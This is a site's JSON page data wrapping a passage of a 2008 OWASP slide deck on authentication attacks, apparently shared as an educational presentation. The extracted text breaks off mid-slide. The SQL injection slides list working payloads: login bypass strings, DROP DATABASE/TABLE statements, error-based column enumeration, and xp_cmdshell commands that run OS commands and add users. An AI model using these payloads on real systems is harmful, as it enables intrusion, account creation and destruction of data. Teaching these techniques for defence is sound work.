[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"doc-seo-572076-105":3,"detail-sidebar-cat-1-en-105":81,"doc-detail-572076-en":126},{"code":4,"msg":5,"data":6},0,"ok",{"site_id":7,"language":8,"slug":9,"title":10,"keywords":11,"description":12,"schema_data":13,"social_meta":74,"head_meta":76,"extra_data":78,"updated_unix":80},105,"en","demystifying-authentication-attacks-educational-presentation","Demystifying Authentication Attacks - Educational Presentation","","Demystifying Authentication Attacks presents an educational overview of common authentication attack vectors and related weaknesses. It covers authentication types, SQL injection techniques and example payloads, and the concept of salted MD5 hashing with client-server credential transmission comparisons. The agenda also includes error handling and information leakage, password workflows (forgot/reset), remember-me, CAPTCHA issues, side-channel attacks, and references, concluding with a Q&A session.",{"@graph":14,"@context":73},[15,34,56],{"@type":16,"itemListElement":17},"BreadcrumbList",[18,23,27,31],{"item":19,"name":20,"@type":21,"position":22},"https://docshare.wps.com","Home","ListItem",1,{"item":24,"name":25,"@type":21,"position":26},"https://docshare.wps.com/template/","Template",2,{"item":28,"name":29,"@type":21,"position":30},"https://docshare.wps.com/template/general/","General",3,{"item":32,"name":10,"@type":21,"position":33},"https://docshare.wps.com/template/demystifying-authentication-attacks-educational-presentation/572076/",4,{"url":32,"name":10,"@type":35,"image":36,"author":41,"headline":10,"publisher":44,"fileFormat":47,"inLanguage":8,"description":12,"dateModified":48,"datePublished":49,"encodingFormat":47,"isAccessibleForFree":50,"interactionStatistic":51},"DigitalDocument",{"url":37,"@type":38,"width":39,"height":40},"https://docshare.wps.com/thumbnails/demystifying-authentication-attacks-educational-presentation/572076.png","ImageObject",442,249,{"name":42,"@type":43},"Anna Hans","Person",{"url":19,"name":45,"@type":46},"DocShare","Organization","application/pdf","2026-10-25","2026-10-13",true,{"@type":52,"interactionType":53,"userInteractionCount":55},"InteractionCounter",{"@type":54},"ViewAction",5,{"@type":57,"mainEntity":58},"FAQPage",[59,65,69],{"name":60,"@type":61,"acceptedAnswer":62},"What authentication types are discussed in the session?","Question",{"text":63,"@type":64},"The session reviews anonymous authentication, Basic/Digest/advanced digest, integrated Windows authentication (NTLM/Kerberos), UNC authentication, .NET Passport authentication, certificate (SSL) authentication, HTML forms-based authentication, and multi-factor mechanisms combining passwords with physical tokens.","Answer",{"name":66,"@type":61,"acceptedAnswer":67},"How does SQL injection relate to authentication attacks?",{"text":68,"@type":64},"SQL injection is presented as an attack method that manipulates queries, including basic and blind variants, and can lead to data extraction or modification via injected commands and statements.",{"name":70,"@type":61,"acceptedAnswer":71},"Why is salted MD5 hashing highlighted for credential protection?",{"text":72,"@type":64},"Salted MD5 hashing is introduced as a safer approach compared with clear-text or encrypted credential transmission, emphasizing the use of a random or one-time salt linked to nonce/token concepts to reduce reuse and replay risk.","https://schema.org",{"og:url":32,"og:type":75,"og:title":10,"og:site_name":45,"og:description":12},"article",{"robots":77,"canonical":32},"index,follow",{"doc_id":79,"site_id":7},572076,1792086374,{"code":4,"msg":82,"data":83},"success",[84,89,94,99,104,109,114,119,123],{"id":85,"doc_module":22,"doc_module_name":25,"category_name":86,"show_sort_weight":87,"slug":88},11,"Presentations",90,"presentations",{"id":90,"doc_module":22,"doc_module_name":25,"category_name":91,"show_sort_weight":92,"slug":93},12,"Resumes",80,"resumes",{"id":95,"doc_module":22,"doc_module_name":25,"category_name":96,"show_sort_weight":97,"slug":98},14,"Invoices",70,"invoices",{"id":100,"doc_module":22,"doc_module_name":25,"category_name":101,"show_sort_weight":102,"slug":103},15,"Posters",60,"posters",{"id":105,"doc_module":22,"doc_module_name":25,"category_name":106,"show_sort_weight":107,"slug":108},16,"Social Media",50,"social-media",{"id":110,"doc_module":22,"doc_module_name":25,"category_name":111,"show_sort_weight":112,"slug":113},17,"Forms",40,"forms",{"id":115,"doc_module":22,"doc_module_name":25,"category_name":116,"show_sort_weight":117,"slug":118},18,"Letters",30,"letters",{"id":120,"doc_module":22,"doc_module_name":25,"category_name":121,"show_sort_weight":55,"slug":122},21,"Paper Templates","papers-templates",{"id":124,"doc_module":22,"doc_module_name":25,"category_name":29,"show_sort_weight":4,"slug":125},158,"general-158",{"code":4,"msg":82,"data":127},{"doc_id":79,"user_id":128,"nickname":42,"user_avatar":129,"doc_module":22,"category_id":124,"category_name":29,"doc_title":10,"doc_description":12,"doc_content":130,"file_id":131,"file_url":132,"file_type":133,"file_size":134,"view_count":55,"is_deleted":4,"is_public":22,"is_downloadable":22,"audit_status":22,"page_count":135,"language":136,"language_code":8,"site_id":7,"html_lang":8,"table_of_contents":137,"faqs":138,"seo_title":139,"seo_description":12,"update_tm":140,"read_time":141},5909892332657,"https://ap-avatar.wpscdn.com/davatar_994ba38a5ba835b3df7d355c54d3ed8d","Demystifying Authentication Attacks  \nOWASP  \nGunwant Singh, SAIC India gunwant dot s at gmail dot +91-9971843928  \nDelhi Chapter November 2008  \nCopyright © The OWASP Foundation  \nPermission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.  \nThe OWASP Foundation  \n[http://www.owasp.org](http://www.owasp.org)  \nAgenda  \n􀀁 Types of authentication  \n􀀁 SQL Injection  \n􀀁 Salted MD5 Hashing Technique  \n􀀁 Back Back Refresh  \n􀀁 Remember me  \n􀀁 Improper Error handling/Information leakage  \n􀀁 Forgot Password Implementation  \n􀀁 Reset Password Implementation  \n􀀁 Google dorks  \n􀀁 CAPTCHA issues  \n􀀁 Side Channel Attack  \n􀀁 Conclusion  \n􀀁 References  \n􀀁 Q.A Session  \nDisclaimer: All information shared or explained in this session is only  \nfor educational purposes . OWASP   \n2  \nAuthentication types  \n􀀁Anonymous authentication  \n􀀁 Basic, digest & advanced digest authentication  \n􀀁Integrated Windows authentication ( NTLM/ Kerberos)  \n􀀁UNC authentication  \n􀀁 . NET Passport authentication  \n􀀁Certificate authentication ( SSL)  \n􀀁 HTML forms-based authentication .  \n􀀁Multi-factor mechanisms, such as those combining password s and physical tokens .  \nOWASP  3  \nSQL Injection  \n􀀁 ‘  \n􀀁 ‘- -  \n􀀁 ‘\\# ( my sql)  \n􀀁 ‘or 1 = 1- -  \n􀀁 admin’or 1 = 1- -  \n􀀁 ‘UNION select * from master ..sysmessages; - -  \n􀀁 ‘;show databases; - -  \n􀀁 ‘;drop database userlogin; - -􀀁 ‘;drop table users; - -  \n􀀁 Tools (for basic and blind) : SPI – SQL Injector, Absinthe, Foundstone – WSDigger, SQL Map  \nOWASP  4  \nExample-SQL Injection  \n1) ‘having 1 = 1- -  \n[Microsoft][ODBC SQL Server Driver][SQL Server] Column '[users.id](users.id)' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause .]  \n2) ' group by [users.id](users.id) having 1=1--  \n[ Microsoft ][ODBC SQL Server Driver][ SQL Server]Column'users . username' is invalid in the select list because it is not  \ncontained in either an aggregate function or the GROUP BY clause .]  \n3) ' group by [users.id](users.id), users. username having 1=1--[ Microsoft ][ODBC SQL Server Driver][ SQL Server]Column  \n'users . password' is invalid in the select list because it is not  \ncontained in either an aggregate function or the GROUP BY clause .]  \n4) ' group by [users.id](users.id), users. username, users.password having 1=1--\u003C\u003CProduces no errors>> 􀀁  \n5) Attack Vector  \n‘;update users . password where users .username =admin; - -' ; insert into users values( 31337, 'attacker', 'foobar') ; - -  \nOWASP  5  \nExample-SQL Injection  \n􀀁 ‘;exec master ..xp  cmdshell ‘dir’  \n􀀁 ‘;exec master ..xp  cmdshell ‘net1 user’  \n􀀁 ‘;exec master ..xp  cmdshell ‘net user [ username][ password] /add’; - -  \n􀀁 ‘; exec xp  regenumvalues HKEY  LOCAL  MACHINE,‘SYSTEM\\CurrentControl Set\\Services  \n\\snmp\\ parameters\\validcommunities’; - -  \n􀀁 ‘;exec master ..xp  servicecontrol ‘start’, ‘schedule’; - -  \n􀀁 ‘;exec master ..xp  servicecontrol ‘start’, ‘server’; - -  \nOWASP  6  \nInteresting Facts-SQL Injection  \n􀀁The only interface to see what's happening behind the scenes is the error message that is displayed to the attacker .  \n􀀁Blind SQL Injection !  \n􀀁Command injection  \n􀀁XML Injection  \n􀀁 LDAP Injection  \n􀀁Mitigation ??  \nOWASP  7  \nSalted MD5 Hashing  \n􀀁 MD5-Message Digest Algorithm  \n􀀁 Ron Rivest-1991  \n􀀁Takes a variable length input->128-bit message digest output  \n􀀁One time hash  \n􀀁Commonly used to check integrity of files .  \n􀀁Salt is random or one-time value  \n􀀁Created via Random Generator  \n􀀁Salt is closely related to the concept of nonce ( Number used ONCE) or one-time token .  \nOWASP  8  \nSalted MD5 Hashing  \nClient Server  \n[www.website.com/login.php](www.website.com/login.php)  \n[www.website.com/login. php](www.website.com/login. php)[ ](www.website.com/login. php)Transmission of Credentials  \nWelcome Page.php  \nTransmission of Credentials : -  \n􀀁Clear text-Vulnerable to password Sniffing!  \n􀀁Encrypted-Vulnerable to Replay attacks!  \n􀀁Sal","cbCaipIEWdYgB9NT","https://ap.wps.com/l/cbCaipIEWdYgB9NT","pdf",352176,28,"English","# Agenda\n## Types of authentication\n## SQL Injection\n## Salted MD5 Hashing Technique\n## Back Back Refresh\n## Remember me\n## Improper Error handling/Information leakage\n## Forgot Password Implementation\n## Reset Password Implementation\n## Google dorks\n## CAPTCHA issues\n## Side Channel Attack\n## Conclusion\n## References\n## Q.A Session","[{\"question\":\"What authentication types are discussed in the session?\",\"answer\":\"The session reviews anonymous authentication, Basic/Digest/advanced digest, integrated Windows authentication (NTLM/Kerberos), UNC authentication, .NET Passport authentication, certificate (SSL) authentication, HTML forms-based authentication, and multi-factor mechanisms combining passwords with physical tokens.\"},{\"question\":\"How does SQL injection relate to authentication attacks?\",\"answer\":\"SQL injection is presented as an attack method that manipulates queries, including basic and blind variants, and can lead to data extraction or modification via injected commands and statements.\"},{\"question\":\"Why is salted MD5 hashing highlighted for credential protection?\",\"answer\":\"Salted MD5 hashing is introduced as a safer approach compared with clear-text or encrypted credential transmission, emphasizing the use of a random or one-time salt linked to nonce/token concepts to reduce reuse and replay risk.\"}]","Demystifying Authentication Attacks - Educational Presentation | PDF",1791925348,10]